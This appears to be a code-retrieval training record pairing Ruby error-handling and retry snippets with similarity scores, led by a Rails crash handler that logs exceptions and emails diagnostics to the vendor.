"def my_rescue_action_in_public(exception)\n # MorLog.my_debug exception.to_yaml\n # MorLog.my_debug exception.backtrace.to_yaml\n time = Time.now()\n id = time.strftime(\"%Y%m%d%H%M%S\")\n address = 'gui_crashes@kolmisoft.com'\n extra_info = \"\"\n swap = nil\n begin\n MorLog.my_debug(\"Rescuing exception: #{exception.class.to_s} controller: #{params[:controller].to_s}, action: #{params[:action].to_s}\", true)\n if important_exception(exception)\n MorLog.my_debug(\" >> Exception is important\", true)\n MorLog.log_exception(exception, id, params[:controller].to_s, params[:action].to_s) if params[:do_not_log_test_exception].to_i == 0\n\n trace = exception.backtrace.collect { |t| t.to_s }.join(\"\\n\")\n\n exception_class = escape_for_email(exception.class).to_s\n exception_class_previous = Confline.get_value(\"Last_Crash_Exception_Class\", 0).to_s\n exception_send_email = Confline.get_value(\"Exception_Send_Email\").to_i\n\n # Lots of duplication but this is due fact that in future there may be\n # need for separate link for every error.\n flash_help_link = nil\n\n\n if exception_class.include?(\"Net::SMTPFatalError\")\n flash_notice = _('smtp_server_error')\n flash_help_link = \"\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'smtp_server_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::ENETUNREACH\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Errno::ENETUNREACH\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EACCES\")\n flash_notice = _('File_permission_error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'File_permission_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EHOSTUNREACH\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"rami.rb:380\"))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"SystemExit\") or (exception_class.include?('RuntimeError') and (exception.message.include?('No route to host') or exception.message.include?('getaddrinfo: Name or service not known') or exception.message.include?('Connection refused')))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?('RuntimeError') and (exception.message.include?('Connection timed out') or exception.message.include?('Invalid argument') or exception.message.include?('Connection reset by peer') or exception.message.include?('Network is unreachable') or exception.message.include?('exit'))\n flash_notice = _('Your_Asterisk_server_is_not_accessible_Please_check_if_address_entered_is_valid_and_network_is_OK')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"SocketError\") and !trace.to_s.include?(\"smtp_tls.rb\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n if exception_class.include?(\"Errno::ETIMEDOUT\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"OpenSSL::SSL::SSLError\") or exception_class.include?(\"OpenSSL::SSL\")\n flash_notice = _('Verify_mail_server_details_or_try_alternative_smtp_server')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'SMTP_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::RecordNotFound\")\n flash_notice = _('Data_not_found')\n flash_help_link = ''\n exception_send_email = 1\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Data_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?('Access denied for user')\n flash_notice = _('MySQL_permission_problem_contact_Kolmisoft_to_solve_it')\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'MySQL_permission_problem', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Transactions::TransactionError\")\n flash_notice = _(\"Transaction_error\")\n swap = []\n swap << %x[vmstat]\n # swap << ActiveRecord::Base.connection.select_all(\"SHOW INNODB STATUS;\")\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Transaction_errors', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"Errno::ENOENT\") and exception.message.include?('/tmp/mor_debug_backup.txt')\n flash_notice = _('Backup_file_not_found')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Backup_file_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"No seller found with id\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n # database not updated\n if exception_class.include?(\"NoMethodError\") and !exception.message.include?(\"nil:NilClass\") and exception.message.include?(\"for #<\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include? \"ActiveModel::MissingAttributeError\"\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?(\"Unknown column\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n #\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"The currency used in the cart must match the currency of the seller account.\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?(\"Missing URL component: expected id:\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('expected id: (\\d{10})|(\\d{15})')\n flash_notice = _(\"Payment_Error_Contact_Administrator_enter_merchant_id\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('Seller Account') and exception.message.include?('is not active.')\n flash_notice = _(\"Payment_Error_Contact_Administrator_account_not_active\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Unexpected response code')\n flash_notice = _(\"Google_checkout_error\") + ': ' + exception.message.to_s #.gsub('Google Unexpected response code', 'Unexpected response code')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('An API Certificate or API Signature is required to make requests to PayPal')\n flash_notice = _('An_API_Certificate_or_API_Signature_is_required_to_make_requests_to_PayPal')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Temporary failure in name resolution')\n flash_notice = _('DNS_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'DNS_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Ambethia::ReCaptcha::Controller::RecaptchaError')\n flash_notice = _('ReCaptcha_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'ReCaptcha_Error', :data2 => exception.message).save\n end\n\n #if exception_class.include?(\"Net::SMTP\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"smtp_tls.rb\")) or (exception_class.include?(\"SocketError\") and trace.to_s.include?(\"smtp_tls.rb\")) or ((exception_class.include?(\"Timeout::Error\") and trace.to_s.include?(\"smtp.rb\"))) or trace.to_s.include?(\"smtp.rb\")\n flash_help_link = email_exceptions(exception) if flash_help_link.blank? and flash_notice.blank?\n #end\n\n if exception_class.include?(\"LoadError\") and exception.message.to_s.include?('locations or via rubygems.')\n if exception.message.include?('cairo')\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/Cannot_generate_PDF\"\n else\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Ruby_Gems\"\n end\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Ruby_gems_not_found', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n # Specific case for acunetix security scanner\n if (exception.message.include?('invalid byte sequence in UTF-8') or exception.message.include?('{\"$acunetix\"=>\"1\"}')) and ['try_to_login', 'signup_end'].member?(params[:action])\n flash_notice = _('Internal_Error_Contact_Administrator')\n exception_send_email = 0\n end\n\n if exception_send_email == 1 and exception_class != exception_class_previous and !flash_help_link or params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(\" >> Need to send email\", true)\n\n if exception_class.include?(\"NoMemoryError\")\n extra_info = get_memory_info\n MorLog.my_debug(extra_info)\n end\n\n # Gather all exception\n rep, rev, status = get_svn_info\n rp = []\n (params.each { |k, v| rp << [\"#{k} => #{v}\"] })\n\n message = [\n \"ID: #{id.to_s}\",\n \"IP: #{request.env['SERVER_ADDR']}\",\n \"Class: #{exception_class}\",\n \"Message: #{exception}\",\n \"Controller: #{params[:controller]}\",\n \"Action: #{params[:action]}\",\n \"User ID: #{session ? session[:user_id].to_i : 'possible_from_api'}\",\n \"----------------------------------------\",\n \"Repositority: #{rep}\",\n \"Revision: [#{rev}]\",\n \"Local version modified: #{status}\",\n \"----------------------------------------\",\n\n \"Request params: \\n#{rp.join(\"\\n\")}\",\n \"----------------------------------------\",\n \"Seesion params: \\n#{nice_session if session}\",\n \"----------------------------------------\"\n ]\n if extra_info.length > 0\n message << \"----------------------------------------\"\n message << extra_info\n message << \"----------------------------------------\"\n end\n message << \"#{trace}\"\n\n if test_machine_active?\n if File.exists?('/var/log/mor/test_system')\n message << \"----------------------------------------\"\n message << %x[tail -n 50 /var/log/mor/test_system]\n end\n end\n\n if swap\n message << \"----------------------------------------\"\n message << swap.to_yaml\n end\n\n if exception_class.include?(\"Errno::EPERM\")\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/tmp/]\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/]\n end\n\n Confline.set_value(\"Last_Crash_Exception_Class\", exception_class, 0)\n\n if params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(' >> Crash email NOT sent THIS IS JUST TEST', true)\n return :text => flash_notice.to_s + flash_help_link.to_s + message.join(\"\\n\")\n #render :text => message.join(\"\\n\") and return false\n else\n\n subject = \"#{ExceptionNotifier_email_prefix} Exception. ID: #{id.to_s}\"\n time = Confline.get_value(\"Last_Crash_Exception_Time\", 0)\n if time and !time.blank? and (Time.now - Time.parse(time)) < 1.minute\n MorLog.my_debug(\"Crash email NOT sent : Time.now #{Time.now.to_s(:db)} - Last_Crash_Exception_Time #{time}\")\n else\n send_crash_email(address, subject, message.join(\"\\n\")) if params[:do_not_log_test_exception].to_i == 0\n Confline.set_value(\"Last_Crash_Exception_Time\", Time.now.to_s(:db), 0)\n MorLog.my_debug('Crash email sent')\n end\n end\n else\n MorLog.my_debug(\" >> Do not send email because:\", true)\n MorLog.my_debug(\" >> Email should not be sent. Confline::Exception_Send_Email: #{exception_send_email.to_s}\", true) if exception_send_email != 1\n MorLog.my_debug(\" >> The same exception twice. Last exception: #{exception_class.to_s}\", true) if exception_class == exception_class_previous\n MorLog.my_debug(\" >> Contained explanation. Flash: #{ flash_help_link}\", true) if flash_help_link\n end\n\n if !flash_help_link.blank?\n flash[:notice] = _('Something_is_wrong_please_consult_help_link')\n flash[:notice] += \"<a id='exception_info_link' href='#{flash_help_link}' target='_blank'><img alt='Help' src='#{Web_Dir}/assets/icons/help.png' title='#{_('Help')}' /></a>\".html_safe\n else\n flash[:notice] = flash_notice.to_s.blank? ? \"INTERNAL ERROR. - ID: #{id} - #{exception_class}\" : flash_notice\n end\n\n if session and session[:forgot_pasword] == 1\n session[:forgot_pasword] = 0\n flash[:notice_forgot]= (_('Cannot_change_password') + \"<br />\" + _('Email_not_sent_because_bad_system_configurations')).html_safe\n end\n\n if session and session[:flash_not_redirect].to_i == 0\n #redirect_to Web_Dir + \"/callc/main\" and return false\n else\n session[:flash_not_redirect] = 0 if session\n #render(:layout => \"layouts/mor_min\") and return false\n end\n end\n rescue Exception => e\n MorLog.log_exception(e, id, params[:controller].to_s, params[:action].to_s)\n message =\"Exception in exception at: #{escape_for_email(request.env['SERVER_ADDR'])} \\n --------------------------------------------------------------- \\n #{escape_for_email(%x[tail -n 50 /var/log/mor/test_system])}\"\n command = ApplicationController::send_email_dry(\"guicrashes@kolmisoft.com\", address, message, \"#{ExceptionNotifier_email_prefix} SERIOUS EXCEPTION\", \"-o tls='auto'\")\n system(command)\n flash[:notice] = \"INTERNAL ERROR.\"\n #redirect_to Web_Dir + \"/callc/main\" and return false\n end\n end",
"def update_failure\n logger.exception(\"Failed to connect to broker #{@alias}\")\n if @last_failed\n @retries += 1\n else\n @last_failed = true\n @retries = 0\n @failure_stats.update\n end\n true\n end",
"def resource_failed_retriable(resource, action, retry_count, exception)\n end",
"def on_flush_error(e)\r\n @logger.warn(\"Failed to send backlog of events to ThetaPoint\",\r\n :exception => e,\r\n :backtrace => e.backtrace\r\n )\r\n end",
"def increment_non_retryable(error, is_bdd = false)\n StatsD.increment(\"#{@prefix}.non_retryable_error\", tags: error_tags(error, is_bdd))\n end",
"def error_thread_crash error, error_location; end",
"def retry\n super\n end",
"def save_failure(action, raise_error = nil)\n raise_error = raise_on_save_failure if raise_error.nil?\n raise(Error, \"unable to #{action} record\") if raise_error\n end",
"def fail! with_message\n full_message = [with_message + \" at line #{lineno}\"]\n full_message << \" + #{ref_line.inspect}\"\n full_message << \" - #{output_line.inspect}\"\n \n @failure = full_message.join(\"\\n\")\n throw :fail\n end",
"def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end",
"def moveToFailed _args\n \"moveToFailed _args;\" \n end",
"def error_retry\n\t\t#@media = Media.find(params[:id])\n\t\t\n\t\tif [:error, :invalid].include? @media.workflow_state.to_sym\n\t\t\t@media.workflow_state = 'checking'\n\t\t\t@media.media_type = nil\n\t\t\t@media.save!\n\t\tend\n\t\t\n\t\t@media.check_media\n\tend",
"def attempt(message, &block)\n perform_action(message, false, @passfail, nil, true, false, &block)\nend",
"def on_flush_error(e)\n @logger.warn(\"Failed to send backlog of events to Redisearch\",\n :exception => e,\n :backtrace => e.backtrace\n )\n end",
"def on_error_retry_delay(_exception)\n nil\n end",
"def fail\n _redis_lua_run(\n 'batch_fail',\n keys: [_batch_key])\n end",
"def post_fail_message; end",
"def dump_failures(*args)\n lock_output do\n super\n end\n @output.flush\n end",
"def retry_action (initial_wait_time_in_seconds=3, max_attempts=3, &block)\n num_tries = 0\n wait_time = 1\n successful = false\n\n while (num_tries <= max_attempts && !successful)\n begin\n block.call\n successful = true\n rescue StandardError => ex\n num_tries += 1\n wait_time *= initial_wait_time_in_seconds\n sleep(wait_time)\n end\n end\n end",
"def record_non_example_error(job, message)\n @redis.hset(key_errors, job, message)\n end",
"def replay\n Bumbleworks.dashboard.replay_at_error(@process_error)\n end",
"def error message; write ERROR, message, caller[0] unless level > @level end",
"def retry!\n queue.repush(trx_id)\n rcache.lrem(queue.retries_cache_key, 0, trx_id)\n end",
"def keep_trying_to(title)\n begin\n yield\n rescue Exception => e\n log \"failed to #{title} -- retry in #{RETRY_WAIT} seconds\"\n log e.message\n log e.backtrace\n sleep RETRY_WAIT\n retry\n end\n end",
"def delay(exception)\n warn \"Delay: #{payload}\"\n warn exception.message\n if attempt <= max_retries\n # Publish the message to the delay queue\n delay_exchange.publish(payload, routing_key: postman.requeue_key, headers: { attempts: attempt + 1 })\n # Acknowledge the original message\n main_exchange.ack(delivery_tag)\n else\n deadletter(exception)\n end\n end",
"def retry_item(item)\n @queue.retry_item(item)\n raise Timberline::ItemRetried\n end",
"def rescue(error)\n @collector.sending_stream.puts pack(:rescue, error.class, error.message)\n end",
"def retry\n self.solved(:retry)\n end",
"def failed_action(action, uuid, reason)\n log_action(\"FAILED #{action}\", uuid, reason, Syslog::LOG_WARNING)\n end",
"def fail!(error)\n\t\t\t\t@walker.logger&.error(self) {error}\n\t\t\t\t\n\t\t\t\t@error = error\n\t\t\t\t@state = :failed\n\t\t\tend",
"def handle_retry(hdr, props, msg, reason)\n # +1 for the current attempt\n num_attempts = failure_count(props[:headers]) + 1\n if num_attempts <= @max_retries\n # We call reject which will route the message to the\n # x-dead-letter-exchange (ie. retry exchange) on the queue\n Sneakers.logger.info do\n \"#{log_prefix} msg=retrying, count=#{num_attempts}, headers=#{props[:headers]}\"\n end\n @channel.reject(hdr.delivery_tag, false)\n # TODO: metrics\n else\n # Retried more than the max times\n # Publish the original message with the routing_key to the error exchange\n Sneakers.logger.info do\n \"#{log_prefix} msg=failing, retry_count=#{num_attempts}, reason=#{reason}\"\n end\n data = {\n error: reason.to_s,\n num_attempts: num_attempts,\n failed_at: Time.now.iso8601,\n properties: props.to_hash\n }.tap do |hash|\n if reason.is_a?(Exception)\n hash[:error_class] = reason.class.to_s\n hash[:error_message] = \"#{reason}\"\n if reason.backtrace\n hash[:backtrace] = reason.backtrace.take(10)\n end\n end\n end.to_json\n @error_exchange.publish(msg, {\n routing_key: hdr.routing_key,\n headers: {\n retry_info: data\n }\n })\n @channel.acknowledge(hdr.delivery_tag, false)\n # TODO: metrics\n end\n end",
"def retry(job, old_job, at)\n raise NotImplementedError\n end",
"def aggregate_write_concern_errors\n @replies.each_with_index.reduce(nil) do |errors, (reply, i)|\n # @todo: only raise if error is timeout\n if error = reply_write_errors?(reply)\n errors ||= []\n note = reply.documents.first['wnote'] || reply.documents.first['jnote']\n if note\n code = reply.documents.first['code'] || Error::BAD_VALUE\n error_string = \"#{code}: #{note}\"\n else\n code = reply.documents.first['code'] || Error::UNKNOWN_ERROR\n error_string = \"#{code}: #{error}\"\n end\n errors << { 'errmsg' => error_string,\n 'index' => indexes[i],\n 'code' => code }\n end\n errors\n end\n end",
"def update_failures!(failure, error, recs = nil)\n msg = error.to_s\n ids = recs&.map { |rec| manifest_item_id(rec) } || failure.keys\n ids.each do |id|\n if !failure[id]\n failure[id] = { error: msg }\n elsif !failure[id].is_a?(Hash)\n failure[id] = { error: [*failure[id], msg].uniq.join('; ') }\n else\n failure[id][:error] = [*failure[id][:error], msg].uniq.join('; ')\n end\n end\n end",
"def failure\n @back.pop.call\n end",
"def max_write_retries\n options[:max_write_retries] || Cluster::MAX_WRITE_RETRIES\n end",
"def retrymsg(msgid)\n req(\"retrymsg\", \"\", \"\", msgid, \"\")\n end",
"def replay_at_last_error (wfid)\n\n events = load_events(get_path(wfid))\n\n error_event = events.reverse.find do |evt|\n evt[0] == :error\n end\n\n replay_at_error(error_event)\n end",
"def log_retry(e, options = nil)\n message = (options || {}).fetch(:message, \"Retry\")\n Logger.logger.warn \"#{message} due to: #{e.class.name}: #{e.message}\"\n end",
"def log_exception(error)\n ::Rails.logger.error \"* [JOB] #{name} failed with #{error.class.name}: #{error.message} - #{attempts} failed attempts\"\n ::Rails.logger.error(error)\n end",
"def _write(*args)\n\t\tbegin\n\t\t\tsuper(*args)\n\t\trescue ::Rex::Post::Meterpreter::RequestError => e\n\t\t\tcase e.result\n\t\t\twhen 10000 .. 10100\n\t\t\t\traise ::Rex::ConnectionError.new\n\t\t\tend\n\t\tend\n\tend",
"def attempt(message, &block)\n perform_action(message, false, nil, false, &block)\nend",
"def log_retry(e, options = nil)\n message = if options && options[:message]\n options[:message]\n else\n \"Retry\"\n end\n Logger.logger.warn \"#{message} due to: #{e.class.name} #{e.message}\"\n end",
"def processing_error_task\n reset_undefined_retries!\n if @retries > 0\n @retries -= 1\n Astute.logger.debug \"Puppet on node will be \"\\\n \"restarted because of fail. #{@retries} retries remained.\"\\\n \"#{task_details_for_log}\"\n Astute.logger.info \"Retrying to run puppet for following error \"\\\n \"nodes: #{@puppet_mclient.node_id}\"\n puppetd_run\n 'running'\n else\n Astute.logger.error \"Node has failed to deploy. There is\"\\\n \" no more retries for puppet run. #{task_details_for_log}\"\n 'failed'\n end\n end",
"def continued_exception; end",
"def lock_timeout_retries; end",
"def fail!(msg = nil)\r\n @success = false\r\n @misses.push msg unless msg.nil?\r\n end",
"def retry\n reque_single_job(params[:id])\n redirect_to failures_path(redirect_params)\n end",
"def log_attempt(message='', return_on_fail=nil)\n begin\n r = 'unknown'\n error = false\n log_info_with_timestamp \"#{message} ...\" unless message.blank?\n r = yield\n rescue StandardError => e\n error = true\n log_exception(e)\n log_error_with_timestamp \"ERROR #{message}; result = #{return_on_fail.to_s[0,100]}\" unless message.blank?\n if return_on_fail == :raise\n raise(e)\n else\n return_on_fail\n end\n ensure\n unless error\n log_info_with_timestamp \"DONE #{message}; result = #{r.to_s[0,100]}\" unless message.blank?\n end\n end\nend",
"def retry_handler\n @retry_handler ||= Proc.new do |exception, attempt_number, total_delay|\n log(\"#{exception.class.name}: #{exception.message}; attempt: #{attempt_number}; offset: #{offset}\", :warn)\n end\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def lock_timeout_retries=(_arg0); end",
"def attempt_multiline(message, &block)\n perform_action(message, true, @passfail, nil, true, false, &block)\nend",
"def retry_change_requests; end",
"def retry_change_requests; end",
"def rescue_action(e); raise e; end",
"def error(job, exception)\n REDIS.set key, JSON.dump({status: 1, errmsg: exception.message})\n end",
"def error_poslook_crash error, error_location; end",
"def errback &block\n super\n end",
"def errback &block\n super\n end",
"def max_retry\n 5\n end",
"def handle_rewrite_error(error)\n Rails.logger.debug(\"IntegralMessage: #{error}\")\n end",
"def update_error_message(message:)\n target_file.error_message = [message]\n updated_change_set = ChangeSet.for(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end",
"def augment_fail(send, line)\n @phase = :execute\n @code = make_runnable(@code)\n\n begin\n open(\"log/simplemode.log\", 'a') do |file|\n file.puts '--------------------------------'\n file.puts Time.now\n file.puts '--------------------------------'\n file.puts @augmented_code\n file.puts \"\\n\\n\\n\"\n\n @augmented_code = nil\n end\n ensure\n send.call([\n {:write_file => {:filename => @filename, :content => @code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n return {:type => :warning, :message => 'Start im vereinfachten Modus.'}\n end\n end",
"def rescue_retry\n 3/0\nrescue Exception => e\n attempts ||= 0\n attempts += 1\n\n if attempts < 3\n puts e.message + '. Retrying'\n # retry returns the execution to the beginning of the method\n retry\n else\n puts 'No way! It failed'\n raise\n end\nend",
"def flush\n check_return_code(\n Lib.memcached_flush(@struct, IGNORED)\n )\n rescue => e\n tries ||= 0\n raise unless tries < options[:exception_retry_limit] && should_retry(e)\n tries += 1\n retry\n end",
"def upload_with_retries(msg)\n status = nil\n 1.upto(5) do |i|\n status = @migration.uploadSingleMessage(msg, @props, @labels)\n break if status.nil? || status[1].nil? || status[1][:code] != '503'\n sleep(30)\n end\n status\n end",
"def write_error_info\n end",
"def retry_change_requests=(retri); end",
"def error(topic, message = T.unsafe(nil), &block); end",
"def carefully msg\n yield\n rescue => e\n logger.error \"Error while trying to #{msg}\"\n logger.error e\n nil\n end",
"def default_error_handler(_exception, topic_name, event)\n Tiki::Torch::Publishing::Retries.add topic_name, event\n end",
"def fail_after(y, m, d, msg); end",
"def retry_job\n # get items\n query = AnalysisJobsItem.failed_for_analysis_job(id)\n\n # batch update\n query.find_in_batches(batch_size: AnalysisJob.batch_size) do |items|\n items.each(&:retry!)\n end\n end"
] | [
"0.6248928",
"0.6105354",
"0.59540343",
"0.5940495",
"0.5921533",
"0.58566594",
"0.5832966",
"0.5717418",
"0.56797385",
"0.55847794",
"0.55472517",
"0.5547213",
"0.5424537",
"0.5424079",
"0.53913605",
"0.5380799",
"0.53568566",
"0.5350403",
"0.53491926",
"0.534391",
"0.5337539",
"0.5335512",
"0.53325295",
"0.5306568",
"0.5289432",
"0.52722",
"0.5271443",
"0.52563006",
"0.52360046",
"0.5232067",
"0.52184606",
"0.52164495",
"0.52018094",
"0.51796913",
"0.5156173",
"0.5148409",
"0.5148067",
"0.5137066",
"0.51350814",
"0.512847",
"0.5124844",
"0.5121639",
"0.5096347",
"0.50936794",
"0.5093151",
"0.5082919",
"0.5074544",
"0.5073801",
"0.5072871",
"0.50616956",
"0.5060155",
"0.5049034",
"0.50456566",
"0.50310117",
"0.5025492",
"0.5023452",
"0.50158566",
"0.50151366",
"0.50001806",
"0.49978626",
"0.49977762",
"0.49953043",
"0.49947932",
"0.49840334",
"0.49719134",
"0.49714315",
"0.49697793",
"0.4967233",
"0.4965274",
"0.49616262",
"0.49589342",
"0.49578464",
"0.4955932",
"0.49520797",
"0.49421343",
"0.4933847",
"0.49315676",
"0.4916736",
"0.49086955",
"0.49073768",
"0.49073768",
"0.4900339",
"0.4890461",
"0.4889663",
"0.48802075",
"0.48802075",
"0.4876706",
"0.4874564",
"0.48678678",
"0.48576644",
"0.48555642",
"0.4852171",
"0.48468465",
"0.48467025",
"0.48462924",
"0.48421964",
"0.48345095",
"0.4829545",
"0.48267007",
"0.48253292"
] | 0.51979864 | 33 |
Use callbacks to share common setup or constraints between actions. | def set_element
@element = Element.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
